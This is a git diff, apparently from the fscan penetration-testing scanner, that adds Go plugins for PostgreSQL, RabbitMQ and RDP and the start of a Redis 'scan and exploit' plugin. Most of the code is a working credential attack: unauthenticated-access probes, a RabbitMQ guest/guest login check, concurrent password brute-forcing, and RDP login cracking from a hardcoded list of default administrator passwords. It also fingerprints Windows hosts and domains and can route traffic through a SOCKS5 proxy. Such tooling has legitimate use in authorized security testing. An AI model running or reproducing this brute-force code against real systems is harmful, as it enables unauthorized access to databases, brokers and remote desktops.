}, []int{1521, 1522, 1525})
|
||||
}
|
||||
@@ -0,0 +1,274 @@
|
||||
//go:build plugin_postgresql || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
_ "github.com/lib/pq" // PostgreSQL driver
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// PostgreSQLPlugin PostgreSQL扫描插件
|
||||
type PostgreSQLPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewPostgreSQLPlugin() *PostgreSQLPlugin {
|
||||
return &PostgreSQLPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("postgresql"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 先测试未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("postgresql_vuln", target, result.VulInfo))
|
||||
return result
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("postgresql", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "postgresql",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "postgresql", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("postgresql_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建PostgreSQL认证函数
|
||||
func (p *PostgreSQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doPostgreSQLAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doPostgreSQLAuth 执行PostgreSQL认证
|
||||
func (p *PostgreSQLPlugin) doPostgreSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
connStr := fmt.Sprintf("postgres://%s:%s@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
|
||||
cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("postgres", connStr)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyPostgreSQLErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
db.SetConnMaxLifetime(config.Timeout)
|
||||
db.SetMaxOpenConns(1)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
pingCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
err = db.PingContext(pingCtx)
|
||||
if err != nil {
|
||||
_ = db.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyPostgreSQLErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &pgDBWrapper{db},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// pgDBWrapper 包装 sql.DB 以实现 io.Closer
|
||||
type pgDBWrapper struct {
|
||||
*sql.DB
|
||||
}
|
||||
|
||||
func (w *pgDBWrapper) Close() error {
|
||||
return w.DB.Close()
|
||||
}
|
||||
|
||||
// classifyPostgreSQLErrorType PostgreSQL错误分类
|
||||
func classifyPostgreSQLErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
pgAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"password authentication failed",
|
||||
"role does not exist",
|
||||
"invalid authorization",
|
||||
"permission denied",
|
||||
"unauthorized",
|
||||
"invalid credentials",
|
||||
"access denied",
|
||||
"pq: password authentication failed",
|
||||
"pq: role",
|
||||
"pq: invalid authorization specification",
|
||||
"pq: permission denied",
|
||||
"pq: authentication failed",
|
||||
"pq: FATAL: password authentication failed",
|
||||
"pq: FATAL: role",
|
||||
}
|
||||
|
||||
pgNetworkErrors := append(CommonNetworkErrors,
|
||||
"dial tcp",
|
||||
"connection closed",
|
||||
"eof",
|
||||
"network error",
|
||||
"context deadline exceeded",
|
||||
"pq: server closed the connection unexpectedly",
|
||||
)
|
||||
|
||||
return ClassifyError(err, pgAuthErrors, pgNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试PostgreSQL未授权访问
|
||||
func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
connStr := fmt.Sprintf("postgres://postgres@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
|
||||
info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("postgres", connStr)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer func() { _ = db.Close() }()
|
||||
|
||||
db.SetConnMaxLifetime(config.Timeout)
|
||||
db.SetMaxOpenConns(1)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
pingCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
err = db.PingContext(pingCtx)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return nil
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
queryCtx, queryCancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer queryCancel()
|
||||
|
||||
var version string
|
||||
err = db.QueryRowContext(queryCtx, "SELECT version()").Scan(&version)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "postgresql",
|
||||
VulInfo: "未授权访问(trust认证)",
|
||||
}
|
||||
}
|
||||
|
||||
vulInfo := fmt.Sprintf("未授权访问(trust认证) - %s", version)
|
||||
if len(vulInfo) > 100 {
|
||||
vulInfo = vulInfo[:100] + "..."
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "postgresql",
|
||||
VulInfo: vulInfo,
|
||||
}
|
||||
}
|
||||
|
||||
func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
connStr := fmt.Sprintf("postgres://invalid:invalid@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
|
||||
info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("postgres", connStr)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "postgresql",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = db.Close() }()
|
||||
|
||||
pingCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
err = db.PingContext(pingCtx)
|
||||
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
} else {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
}
|
||||
|
||||
var banner string
|
||||
if err != nil {
|
||||
errMsg := strings.ToLower(err.Error())
|
||||
if strings.Contains(errMsg, "postgres") ||
|
||||
strings.Contains(errMsg, "authentication") ||
|
||||
strings.Contains(errMsg, "database") ||
|
||||
strings.Contains(errMsg, "password") ||
|
||||
strings.Contains(errMsg, "role") ||
|
||||
strings.Contains(errMsg, "user") ||
|
||||
strings.Contains(errMsg, "pq:") {
|
||||
banner = "PostgreSQL"
|
||||
} else {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "postgresql",
|
||||
Error: fmt.Errorf("无法识别为PostgreSQL服务"),
|
||||
}
|
||||
}
|
||||
} else {
|
||||
banner = "PostgreSQL"
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("postgresql_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "postgresql",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("postgresql", func() Plugin {
|
||||
return NewPostgreSQLPlugin()
|
||||
}, []int{5432, 5433, 5434})
|
||||
}
|
||||
@@ -0,0 +1,314 @@
|
||||
//go:build plugin_rabbitmq || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// RabbitMQPlugin RabbitMQ扫描插件
|
||||
type RabbitMQPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewRabbitMQPlugin() *RabbitMQPlugin {
|
||||
return &RabbitMQPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("rabbitmq"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 先检测未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("rabbitmq_service", target, result.Banner))
|
||||
return result
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("rabbitmq", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rabbitmq",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "rabbitmq", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("rabbitmq_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建RabbitMQ认证函数
|
||||
func (p *RabbitMQPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doRabbitMQAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doRabbitMQAuth 执行RabbitMQ认证
|
||||
func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
// 对于AMQP端口,使用HTTP管理接口
|
||||
port := info.Port
|
||||
if port == 5672 || port == 5671 {
|
||||
port = 15672
|
||||
if info.Port == 5671 {
|
||||
port = 15671
|
||||
}
|
||||
}
|
||||
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, port)
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil)
|
||||
if err != nil {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyRabbitMQErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
req.SetBasicAuth(cred.Username, cred.Password)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyRabbitMQErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &rabbitMQConnWrapper{},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
if resp.StatusCode == 401 || resp.StatusCode == 403 {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: fmt.Errorf("认证失败,状态码: %d", resp.StatusCode),
|
||||
}
|
||||
}
|
||||
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: fmt.Errorf("意外响应状态码: %d", resp.StatusCode),
|
||||
}
|
||||
}
|
||||
|
||||
// rabbitMQConnWrapper RabbitMQ连接包装器
|
||||
type rabbitMQConnWrapper struct{}
|
||||
|
||||
func (w *rabbitMQConnWrapper) Close() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// classifyRabbitMQErrorType RabbitMQ错误分类
|
||||
func classifyRabbitMQErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
rabbitMQAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"access denied",
|
||||
"unauthorized",
|
||||
"401 unauthorized",
|
||||
"403 forbidden",
|
||||
}
|
||||
|
||||
return ClassifyError(err, rabbitMQAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试RabbitMQ未授权访问
|
||||
func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
port := info.Port
|
||||
if port == 5672 || port == 5671 {
|
||||
port = 15672
|
||||
}
|
||||
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, port)
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
// 测试无认证访问
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
} else {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "rabbitmq",
|
||||
Banner: "未授权访问",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 测试guest默认用户
|
||||
guestReq, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil)
|
||||
if err == nil {
|
||||
guestReq.SetBasicAuth("guest", "guest")
|
||||
guestResp, guestErr := client.Do(guestReq)
|
||||
if guestErr == nil {
|
||||
defer func() { _ = guestResp.Body.Close() }()
|
||||
if guestResp.StatusCode == 200 {
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "rabbitmq",
|
||||
Banner: "未授权访问 - guest默认密码",
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// testAMQPProtocol 检测AMQP协议
|
||||
func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.HostInfo, config *common.Config) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
// 发送AMQP协议头
|
||||
amqpHeader := []byte{0x41, 0x4d, 0x51, 0x50, 0x00, 0x00, 0x09, 0x01}
|
||||
_, err = conn.Write(amqpHeader)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
buffer := make([]byte, 32)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil || n < 4 {
|
||||
return nil
|
||||
}
|
||||
|
||||
if string(buffer[:4]) == "AMQP" || (n >= 8 && buffer[0] == 0x01) {
|
||||
banner := "RabbitMQ AMQP"
|
||||
common.LogSuccess(i18n.Tr("rabbitmq_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "rabbitmq",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
// 对于AMQP端口,检测AMQP协议
|
||||
if info.Port == 5672 || info.Port == 5671 {
|
||||
if result := p.testAMQPProtocol(ctx, info, config); result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
||||
// 检测HTTP管理界面
|
||||
return p.testManagementInterface(ctx, info, config, state)
|
||||
}
|
||||
|
||||
func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
||||
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL, nil)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rabbitmq",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rabbitmq",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 || resp.StatusCode == 401 {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
if strings.Contains(strings.ToLower(string(body)), "rabbitmq") {
|
||||
banner := "RabbitMQ Management"
|
||||
common.LogSuccess(i18n.Tr("rabbitmq_detected", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "rabbitmq",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rabbitmq",
|
||||
Error: fmt.Errorf("无法识别为RabbitMQ服务"),
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("rabbitmq", func() Plugin {
|
||||
return NewRabbitMQPlugin()
|
||||
}, []int{5672, 15672, 5671})
|
||||
}
|
||||
@@ -0,0 +1,263 @@
|
||||
//go:build plugin_rdp || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/mylib/grdp/glog"
|
||||
"github.com/shadow1ng/fscan/mylib/grdp/login"
|
||||
"github.com/shadow1ng/fscan/mylib/grdp/protocol/x224"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// RDPPlugin RDP远程桌面服务扫描插件 - 真实RDP认证和系统指纹识别
|
||||
type RDPPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewRDPPlugin 创建RDP插件
|
||||
func NewRDPPlugin() *RDPPlugin {
|
||||
return &RDPPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("rdp"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行RDP扫描 - 系统指纹识别 + 真实暴力破解
|
||||
func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 配置grdp日志级别
|
||||
login.LogLever = glog.NONE // 静默模式,避免干扰输出
|
||||
|
||||
// 配置代理
|
||||
if config.Network.Socks5Proxy != "" {
|
||||
login.Socks5Proxy = config.Network.Socks5Proxy
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 第一阶段:系统指纹识别(无需密码)
|
||||
// ============================================
|
||||
osInfo := p.probeOSInfo(target, config, state)
|
||||
if len(osInfo) > 0 {
|
||||
p.logOSInfo(target, osInfo)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 第二阶段:暴力破解
|
||||
// ============================================
|
||||
if config.DisableBrute {
|
||||
// 禁用暴力破解,仅返回服务识别结果
|
||||
banner := p.buildBanner(osInfo)
|
||||
common.LogSuccess(i18n.Tr("rdp_service", target, banner))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "rdp",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
// 生成测试凭据
|
||||
credentials := GenerateCredentials("rdp", config)
|
||||
if len(credentials) == 0 {
|
||||
credentials = []Credential{
|
||||
{Username: "administrator", Password: ""},
|
||||
{Username: "administrator", Password: "administrator"},
|
||||
{Username: "administrator", Password: "password"},
|
||||
{Username: "administrator", Password: "123456"},
|
||||
{Username: "admin", Password: "admin"},
|
||||
{Username: "admin", Password: "123456"},
|
||||
{Username: "user", Password: "user"},
|
||||
{Username: "test", Password: "test"},
|
||||
}
|
||||
}
|
||||
|
||||
// 获取域名
|
||||
domain := config.Credentials.Domain
|
||||
if domain == "" {
|
||||
// 尝试从OSInfo中提取域名
|
||||
if osInfo != nil {
|
||||
if val, ok := osInfo["NetBIOSDomainName"].(string); ok && val != "" {
|
||||
domain = val
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 逐个测试凭据
|
||||
for _, cred := range credentials {
|
||||
// 检查Context是否被取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rdp",
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
default:
|
||||
}
|
||||
|
||||
// 真实RDP认证
|
||||
success, err := p.rdpCrack(target, domain, cred.Username, cred.Password, config, state)
|
||||
if success {
|
||||
displayDomain := domain
|
||||
if displayDomain == "" {
|
||||
displayDomain = "WORKGROUP"
|
||||
}
|
||||
|
||||
result := fmt.Sprintf("RDP %s %s\\%s %s", target, displayDomain, cred.Username, cred.Password)
|
||||
common.LogSuccess(result)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Service: "rdp",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
Banner: p.buildBanner(osInfo),
|
||||
}
|
||||
}
|
||||
|
||||
// 记录失败(仅调试时)
|
||||
if err != nil && strings.Contains(err.Error(), "dial err") {
|
||||
// 端口未开放,直接返回
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rdp",
|
||||
Error: fmt.Errorf("RDP端口未开放"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 所有凭据都失败
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rdp",
|
||||
Error: fmt.Errorf("RDP认证失败"),
|
||||
}
|
||||
}
|
||||
|
||||
// rdpCrack 使用grdp库进行真实RDP认证
|
||||
func (p *RDPPlugin) rdpCrack(host, domain, user, password string, config *common.Config, state *common.State) (bool, error) {
|
||||
timeout := int64(config.Timeout.Seconds())
|
||||
|
||||
// 优先尝试 SSL 协议
|
||||
success, err := login.RdpCrack(host, domain, user, password, timeout, x224.PROTOCOL_SSL)
|
||||
if success {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// SSL失败,grdp会自动尝试协议降级(PROTOCOL_RDP)
|
||||
// 这里的err包含了自动重连后的结果
|
||||
if err != nil && strings.Contains(err.Error(), "dial err") {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return false, err
|
||||
}
|
||||
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return false, err
|
||||
}
|
||||
|
||||
// probeOSInfo 通过NLA协商获取系统信息(无需密码)
|
||||
func (p *RDPPlugin) probeOSInfo(host string, config *common.Config, state *common.State) map[string]any {
|
||||
timeout := int64(config.Timeout.Seconds())
|
||||
client := login.NewClient(host, glog.NONE)
|
||||
|
||||
// 使用 PROTOCOL_HYBRID 协议探测系统信息
|
||||
// NLA握手阶段会返回系统信息,无需完整认证
|
||||
osInfo := client.ProbeOSInfo(host, "", "", "", timeout, x224.PROTOCOL_HYBRID)
|
||||
|
||||
if len(osInfo) > 0 {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
} else {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
}
|
||||
|
||||
return osInfo
|
||||
}
|
||||
|
||||
// logOSInfo 输出系统信息
|
||||
func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any) {
|
||||
var parts []string
|
||||
|
||||
// 提取关键信息
|
||||
hostname := p.extractStringField(osInfo, "NetBIOSComputerName")
|
||||
dnsDomain := p.extractStringField(osInfo, "DNSDomainName")
|
||||
fqdn := p.extractStringField(osInfo, "FQDN")
|
||||
netbiosDomain := p.extractStringField(osInfo, "NetBIOSDomainName")
|
||||
productVersion := p.extractStringField(osInfo, "ProductVersion")
|
||||
osVersion := p.extractStringField(osInfo, "OsVerion")
|
||||
|
||||
// 检查是否获取到有效信息
|
||||
if hostname == "" && dnsDomain == "" && fqdn == "" && netbiosDomain == "" && productVersion == "" && osVersion == "" {
|
||||
return
|
||||
}
|
||||
|
||||
// 构造输出
|
||||
if osVersion != "" {
|
||||
parts = append(parts, fmt.Sprintf("OS:%s", osVersion))
|
||||
}
|
||||
if productVersion != "" {
|
||||
parts = append(parts, fmt.Sprintf("Build:Windows %s", productVersion))
|
||||
}
|
||||
if hostname != "" {
|
||||
parts = append(parts, fmt.Sprintf("Hostname:%s", hostname))
|
||||
}
|
||||
if dnsDomain != "" {
|
||||
parts = append(parts, fmt.Sprintf("DNSDomain:%s", dnsDomain))
|
||||
}
|
||||
if fqdn != "" {
|
||||
parts = append(parts, fmt.Sprintf("FQDN:%s", fqdn))
|
||||
}
|
||||
if netbiosDomain != "" {
|
||||
parts = append(parts, fmt.Sprintf("NetBIOSDomain:%s", netbiosDomain))
|
||||
}
|
||||
|
||||
if len(parts) > 0 {
|
||||
info := fmt.Sprintf("RDP %s [%s]", target, strings.Join(parts, ", "))
|
||||
common.LogSuccess(info)
|
||||
}
|
||||
}
|
||||
|
||||
// buildBanner 构建服务识别Banner
|
||||
func (p *RDPPlugin) buildBanner(osInfo map[string]any) string {
|
||||
if len(osInfo) == 0 {
|
||||
return "RDP远程桌面服务"
|
||||
}
|
||||
|
||||
osVersion := p.extractStringField(osInfo, "OsVerion")
|
||||
hostname := p.extractStringField(osInfo, "NetBIOSComputerName")
|
||||
|
||||
if osVersion != "" && hostname != "" {
|
||||
return fmt.Sprintf("RDP (%s, %s)", osVersion, hostname)
|
||||
} else if osVersion != "" {
|
||||
return fmt.Sprintf("RDP (%s)", osVersion)
|
||||
} else if hostname != "" {
|
||||
return fmt.Sprintf("RDP (Hostname:%s)", hostname)
|
||||
}
|
||||
|
||||
return "RDP远程桌面服务"
|
||||
}
|
||||
|
||||
// extractStringField 安全提取字符串字段
|
||||
func (p *RDPPlugin) extractStringField(osInfo map[string]any, key string) string {
|
||||
if value, exists := osInfo[key]; exists {
|
||||
if strValue, ok := value.(string); ok {
|
||||
return strValue
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
// 使用高效注册方式:直接传递端口信息,避免实例创建
|
||||
RegisterPluginWithPorts("rdp", func() Plugin {
|
||||
return NewRDPPlugin()
|
||||
}, []int{3389})
|
||||
}
|
||||
@@ -0,0 +1,627 @@
|
||||
//go:build plugin_redis || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// RedisPlugin Redis数据库扫描和利用插件
|
||||
type RedisPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewRedisPlugin 创建Redis插件
|
||||
func NewRedisPlugin() *RedisPlugin {
|
||||
return &RedisPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("redis"),
|
||||
}
|
||||
}
|
||||
